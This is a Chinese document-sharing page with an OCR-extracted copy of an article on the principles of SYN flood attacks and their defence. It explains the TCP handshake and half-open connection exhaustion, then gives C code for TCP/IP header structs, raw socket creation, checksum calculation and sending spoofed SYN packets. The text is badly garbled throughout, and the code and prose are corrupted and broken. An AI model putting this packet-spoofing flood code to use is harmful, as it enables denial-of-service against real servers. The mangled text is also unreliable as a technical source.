《SYN Flood攻击的基本原理及防御.docx》由会员分享,可在线阅读,更多相关《SYN Flood攻击的基本原理及防御.docx(20页珍藏版)》请在第壹文秘上搜索。
1、SYNF100d攻击的基本原理及防卫文章来泡:第部分SYNFkXXI的珞本朦理SYNFHXl是的坡流行的DOS(拒绝服务攻击)与DDOS分布式拒绝服务攻击)的方式之一,这是一栉利用TCP赤仪缺陷,发送大M伪造的TCP连接孱求,从而使得被攻击方资源耗尽(CPU满负荷成内存不足)的攻击方式.9白这总攻击的基本“,还是*从TCP卸Ht立的过正Ia先说IBl道,T(P与IDp不周,它是若于建畏的,也IK是置,为了在务和客户之内传送TcP敷.4先皿一仙电,Hcp,TSH的行加馆是慈祥的,Ir先.如I(客户Ii)发送T含SYN标记的TCPit文,SYNR同步(Synchronic),内步报文会指明客户运用
2、的口以及P建校的初始序号I其次步,务在收“客户的S、IR文后,将返回一个SYN+ACK的锻文,我示客户的求被接受.同时TCP序号W-.ACK(Acknov.ll8.阿国就出在TCP连接的三次握手中,议川户向It务青发送JSYN报支屈R然也机火拉峻.俄久旧务器“发出SYN+ACK应答泰文后是无法收到户篇的ACK报文的馀:次握手无法完成),这种状况卜服务雅端一般公圾试(再次发送SYN+ACK给客户竭)井等待段时间后丢弃这个未完成的连掖,这段时间的K收我们称为SYNTUnCo5.收来说这个时间是分科的酸小皴(大约为50秒分钟),个用户出现异样与JBUK务器的一个观程等恃I分仲并不是什么IH大的问信.
3、但假如有-4延息的攻击籽大At隈拟这种状况,班务器端将为维护个特别大的半江接列表而消耗特别多的济湖-数以万计的中途.即使是渝沽的保存并遍历也会消耗特别?的CPU时间和内存.何况还要不Si对这个列中的【P进行SYNMCK的呱试.力实上胃如服务器的TCP,IP栈不然很大.堆终的结梁往往是推栈溢出明酒即使服务;S湍的系统足舔强大.咽务然端也将tJ处理攻击伪造的TCP连接W求而无箕理昧客户的正常恳求(终白叁户福的正然思求比率特别之小),此时从正常客户的角度沓来,服务器失去响A.这种状况我们移作I限务器上受到了SYNFloal攻击-4*三十二位珀认号.f4+.4fT*+T4.+.4f*+.*f+6444
4、I四位IlAPRSFIIftSfI六位保宙位IRICIslSIYIIl卜六位窗口大小II长度IIGIKIHfTINlNlI+.4.+.+T+.+.4T.+.J4+.+-M.+.+.+十六位校收和I十六lit依指的I+Tf选项(若芍)数据(若有)图:TCP汴窜陪构依据TCP报文格大,我们定义个拮构TcP_HEADERM去存放TCP泞部:typedefMroctCPbdJ1.SHORliij:l6snslUSHORTikdpon;力16位目的端口UiUtgnedM(h_cq;32位序列5unsignedimth.ack;32位)认号unsignedCtKirlilenvs:M位甘前长度+6位保愤字
5、中的4位unsignedcharth.flag;/2位保用字+6位标记位1.SHORTUiwin:16位窗UA:小USHORTth.sm;16位校验和1.SHORlUiuxp;16位策念BdKwl移域)TCP_HEADER;通过以正确的数据填充这个咕构并将TcP_HEADER.thbg赋值为2(:选射的OooOa我们饯制造个SYN的TCP报文,通过大Iit发送这个报文可以实现SYNR1XXl的效果,但是为了进行IP欺妫从而JSAlcl.也为了会诲服务必的SYNCgkie枚ff还须要Itft时IP首部进行携作I012345678901234567890123456789012I板本I长度I八位服
6、务类型I十六位怠长收I十六位标识I标记I十三位片伸移II八位生存时间I八位协议I十六位首部校咬和II三十二位源IP地址II三十二位目的Ip地址I44.+f4+*.44*4*4f*4*.4f4Tv.4.+4I选项(若有)If.-*.f4*44+*4*4f*-*+T-+*4+I数据I.44.4.4-.4v.4.4.-4-.-4H-*-4-*.-4-.-.4-ra三ip首都结构同样定义一个IPH1.ADhR来存放IP行部cypcdcfMmcl_iphdr(unsignedcharh_vcrkn;/4位首滞长度4IP版本号UfKignedchark:M位服务类里TOSunsignedshorttoul
7、.lcn:/16位总长度(字节unsignedHXKtdenl;/16位标识unsignedsbo11frag-und-flags:3位标记位Uititgnedchartlk/据位生存时间TT1.unsignedcharroo:8位.ffr设号(TCPUDP或其他)unsignedslxtcevksun:16(?IPft田;校雅和unsignediMsource!P;32(iIP地址unsignedtfde%UP:7/32位H的JP地址.HEADER;然后通过JkickRaw=WSASgkUAplNET.SOCKRAW.lPPR(yi1)cksum+=4bllcr4+;size-=Sizcof
8、(USHORT):iflsizc)Cksum+=*(UCHAR*)Uffcr;VkXUm二(cksumI6*(cksum&Oxf!10;CkMJm=(cksmI6);return(USHORTKYkXumX)这个济数并没有经过任何的优化,由于校验和函数是TeFlP出取中被讽Mitt为自致之一,所以帙设来,在实现TCPyIP模时,公依据操件系统对校找和函数边行优化。TCP讨部检验和与DP首都校验和的计算方法相同.在程序中运用同一个函数来计算.须要用点的是,由于TCP首部中不包含海地址马n标地址等信且,为了保适TCP校验的花攻性,在进行TCP校检和的计算时.须要叱加个TCP伪泞部的校验机定义如下I
9、struct(unsignedInnjesaddr;德地始unsignedlangdaddr;HW的地址ch;Irmbz;“H1.空charpeel;I办议类熨unsignedshortIcpl;OTcP长度)pdjcadcr;然后我。带这两个字段复制到同一个援冲区SendBuf中并计算TCP校验和:nnyScikiBuf.&PSjlC3改,NZoORPS1.hCaden);mcmq)yiSendBuf*xizcoRp!,&lcp_he;iderizcof(tcp_hcinicr)KICPjICadC1.IhJUin:CbCCkMIMUSHORT*FScndBufszcofpsd_hc3der
10、)*sizcofticp-he3der):ilffIP校!和的时帙不须要包括TCP伪首部:mcmcpySendBuf.&iPJKiMkr,4ZCOniP-header):ne11cy(SelIdBUHizeoRip_he3der)&lcp_header.、iza”(lq)_hedd;ip_hCadCrebCCkWm=CbCCksUmUUSHORT*)SendBuf,sizcof(ip-bcodcr)sizcof(tcp-bcadcr)k再将计算过校验和的IP苜部与TCP首部复制到同一个暧冲区中就可以干腌发送r:mcnpyiSendBuftAip_hcadCT,sizf(ip_hcudcr;MdkKSckRaw:xlBufk3lMddrjzeuf(DcMAddr):闪为整个TCP报文中的全前部分祐是我们自己写入的(操作系统不会妣任何干